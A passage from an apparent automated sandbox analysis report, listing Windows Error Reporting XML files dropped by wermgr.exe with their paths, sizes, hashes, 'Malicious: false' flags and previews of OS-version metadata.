SSDEEP:	96:RSIU6o7wVetboAG656YByNtwgmfHNV9re17K5aMUlim:R6l7wVeJoAt6YBy/wgmftq8pUlim
MD5:	64150A611D5903BA1DAE87FD43430EB7
SHA1:	40E56FED1A9FFBC9BFC046824DA4FC487EAB13AE
SHA-256:	25B9CA8760793AE5B88BCB393367E7BA85A9E8CD3C5879E558B34F953F88CB14
SHA-512:	B16862EA132A4053B834DE8F8B5095A172C40CAFFA587F953A435BCB2F1B686C8F11687C40F327EC3AD45D304CE46DFB911C9F0A05658D968CB9EE06E3750711
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1615.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.566469815235324
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVlNJg771I9JWWpW8VYYYm8M4JFKlnOtSFZuoyq8vT0Otjpytfvd:uIjfVlnI7237VkJFKlnnuoWT0wufvd
MD5:	BAC4A8181E56BE0F424EA874956758A4
SHA1:	E3AF884A68364D37E056FBAD6D8B02066BD0DC46
SHA-256:	941D524325B3E0044C9A9799E43D594D75A039ACD90EDCB255767B78A5605478
SHA-512:	508B9FB709EC83498EE2F76B010D7BAB9A74DB1CCEC8F527F583F6C6F9A204ADAA7A44EE19C411BECEA38D12304904345D860EB185B22153625F4AE1C885A449
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477102" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER189E.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7416
Entropy (8bit):	3.682666571888224
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb1o+36YB/uzgmfHNV9re17K5aMb8m:R6l7wVeJ1om6YB/Kgmftq8pb8m
MD5:	5D31DC9ACC4007FA74578DCD65A7F865
SHA1:	93CFAE70AA9A0C8EB0365DF3F08F655608184344
SHA-256:	AFD776B4FD72731C7EE6E3A5012A3B1D3C4324C870491F039A54C6B9A9363D8C
SHA-512:	7CFB25B479F2C57B30EC7D8C5700B9777F59F48A0D94632676551E8CAE98EB70A9961560094EC233CC2E4AD6EC4A8DE30FDE3897F984ECA85997DC14A85188EE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.2.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER19F7.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.564203456921701
Encrypted:	false
SSDEEP:	48:cvIwWl8zsV1Jg771I9JWWpW8VYgYm8M4JFKlnOtSFupyq8vT0OtQytfTd:uIjfVPI7237V0JFKlnspWT0xufTd
MD5:	586D65227BBCDB4D80871EA6D4B7D6E7
SHA1:	BAE768F2E6120C598311C2BCA993D27E7919CB36
SHA-256:	B52D4F866DD27B7F100A72ECA8E9C2228848EA02CDD55AB965F58BAA56FE2481
SHA-512:	A8F60524CD8710154F0DF068FCF16B445E3629DC9CF64776D3B3EA328DD71B3D83DB98B847E6CC166DF2517692AF664A5C4BB29EF7FEFB8F1569143352B5BEE9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477100" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B33.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.683549769351441
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbEFXsqj6YBD+m0JAgmfHNV9re17K5aMPY5m:R6l7wVeJEFXsG6YBD/AAgmftq8pPY5m
MD5:	A247A7BDB50A7B46DE5F1413B2A0314E
SHA1:	C789A8FD91B13478366E0056E5B04BFBDB0236D6
SHA-256:	DE0CF4D1F55C0FE3086A6B7C52891DF3B562F5B3235B7CFDC8FA84A0B746F096
SHA-512:	EDAD08A8FF8D02DE12CA12C5A4EF962912B864495EEA670A3439F16E71B14BD85ED5D32375B6E069F73C7654C7E30BB7EBACE533DF90B892E5CACA8A572399CB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.2.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B63.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.565324149156893
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVeJg771I9JWWpW8VYZPYm8M4JFKlnOtSFuyq8vT0OtCytfHd:uIjfVUI7237VoSJFKlnkWT0jufHd
MD5:	5CC0D06FF8A91DF4EBF801B72267C667
SHA1:	C3CA1EA937EE17ACBE01BDE601733C4B4DB9C502
SHA-256:	0ADE405627D72953D98414962B1CE8C055FBD5062317FDC202FED67A75A52EC1
SHA-512:	C5FCFB43E6F9CC11BE7B20AC277FBDF8C40FBD7878CA9C950FDD806F57D4634CCBF19A42BC4FA6DC84A4F8369B7BADE50D1041F8D34378477F87E099F6D725C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477101" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F6F.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.6826297931645224
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbxNIJ4A6YBJWd8IgmfHNV9re17K5aM83m:R6l7wVeJxN+36YBJGgmftq8p83m
MD5:	57A2F74DF055473AD580B0942183DBC1
SHA1:	69956A206D4040F571D1BDC0B5596486D0751A70
SHA-256:	D017E91947AD8AAF141B84E5DA524C539D0B66F24CA6177ADFB60C141D74C4FB
SHA-512:	AFB752A378F3491AC6D4FDBF4330ED4297A3EB283C9C91832D646CEBEF8C76674C7D58C16E9D9F4297ABE848E5903D659D9DB8EC88C35B6A665283D84FF9FD85
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER504B.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.566572546194456
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVkJg771I9JWWpW8VYiYm8M4JFKlnOtSFavWByq8vT0Ot/ytf5d:uIjfViI7237V6JFKlnnWT06uf5d
MD5:	F57F0BD9D7CE27A20DDBAAD02D8473BB
SHA1:	70AE15B7804A80A52375B23ADF9A53D3844E7BC6
SHA-256:	1A73F65A74D3FF6F2EDDCA8A48BA92118ED8C68CA94D0696A4F944FF5965B8C8
SHA-512:	4CD436B1E31F84D88F05D85272FDF606243BE23AAAF722B6203E1E66F343A55FE7A8AD3F10AA713FB17B2833C82C7678D2DA03BBFB2BD9888BC1C58968BB1FFE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477103" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B46.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.682501829481709
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbTKqrH6YBlgBAogmfHNV9re17K5aMVbaKm:R6l7wVeJTKqL6YBl8Aogmftq8pJaKm
MD5:	B08EFD2EE3F0CC25348A322B31DC6A21
SHA1:	E067EF2E683E96328164B2ABFDD89A54BD895896
SHA-256:	1A1A346B4FDB787E469E78891F18C46B6A3A08821B63E31E2CF64B93B1EB9373
SHA-512:	228FBFE264F11B18C6B765CB37B2A563F93C8F711610DA0A619FD665F4D9AF351B54BD8BC4F501DAA55B05F6004BEE1CE63EBECC9637DCB3EE93B741C7B67D3D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B67.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.564529315776916
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVlNJg771I9JWWpW8VYAYm8M4JFKlnOtSFbjyq8vT0OtMytf4d:uIjfVlnI7237VoJFKlnNWT09uf4d
MD5:	AB3DB8B4DB7AD8B7D500E445A2F11D44
SHA1:	113118E0548C6953E37610CEB6AA8CBF3680407F
SHA-256:	86549811B1126803259BC88400C58AEF2FE5E7242F1245FFF3951EA2603542B1
SHA-512:	5F641F7A30894A9B9F19CCF28E095292E8C3A48EA57695DC1972EB4E1F428FFE739B54BC409F98D2CA75F273384CD19EE35E657515415B8C016C819942928526
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477102" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D15.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7416
Entropy (8bit):	3.6825135653430854
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbB1uEJ6YBhpSogmfHNV9re17K5aMAUoMm:R6l7wVeJB1ui6YBh4ogmftq8pZoMm
MD5:	DBF5A3FE0379126C771C5696A5A24687
SHA1:	1E0BEB7B4F9D250F39491B73DE410607F1062B62
SHA-256:	A9A633AB902CAACC9FA4EAAF44B4A7CBC95646C6E1045D034B4B02A6A9763159
SHA-512:	95D705E3726C16EFF9DE9016B04787F4841329E2F966247717752AEF0284E55606BCC2874BCB866CD3813369D4320259DF57A14CC183835242A02599C80A8624
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D35.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.568566359016914
Encrypted:	false
SSDEEP:	48:cvIwWl8zsV1Jg771I9JWWpW8VYfYm8M4JFKlnOtSF1yq8vT0Otnytfad:uIjfVPI7237V7JFKlnHWT0Kufad
MD5:	81C697C77ACADCCA652C1F5E5E548802
SHA1:	15594F7257871673224108D758C906EE88D3ADE1
SHA-256:	1461B405E70EF119485056B44EEA0BD35C50E9AACB3F4322E63C4F8A14E29E3F
SHA-512:	D3E037835C68E1035F7B6F91B2B8B96C160779FBFBDB9C87771D1EA025067C909A2E42DBCEDC447B7A0C681B8A724185E8988FBFB6DEE544AA8344D7A4616D18
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477100" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB046.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.6833480199705106
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbAvTYB6YBpL6bZ1gmfHNV9re17K5aMQ9m:R6l7wVeJAvT26YBpL691gmftq8pQ9m
MD5:	21EF7EDF4A858D96B5E15EEBBF0992E4
SHA1:	0CFA71F76989F083BE35813A151530E409C2BCBA
SHA-256:	E20698BB0A43DE59391396834A72C41A49242960B3CE258D93A4AA8167446406
SHA-512:	700A6D98CD0D5D4459E759A78C67C4523662F296B337D8C81EF2199E69908FCF5628FA9031335F569309462CAA3E897D0264540ED54C8DFC022CA31DB1B8144C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.3.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB066.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.565812801102728
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVeJg771I9JWWpW8VY1Ym8M4JFKlnOtSFv62yq8vT0OtYytfjd:uIjfVUI7237VJJFKlnnWT0Nufjd
MD5:	9AB42EE61DF0B21542941FCF592EBFCB
SHA1:	C372577C9D2BF505B9BBC484C5CCA82FBC2D8E1F
SHA-256:	8C13960E3C08333A5D643717D82A75443A464CBC021F845601D3DFE89CDF162E
SHA-512:	155B6D08EEBAC4D90A13047E11B1F7D925DFFA3121B18D69874A0B6870EAFD2FF5F79B6FCAB846BCB30E3284721011ED32CB2CA0E9AA5023DEA53F82772E010D
Malicious:	false
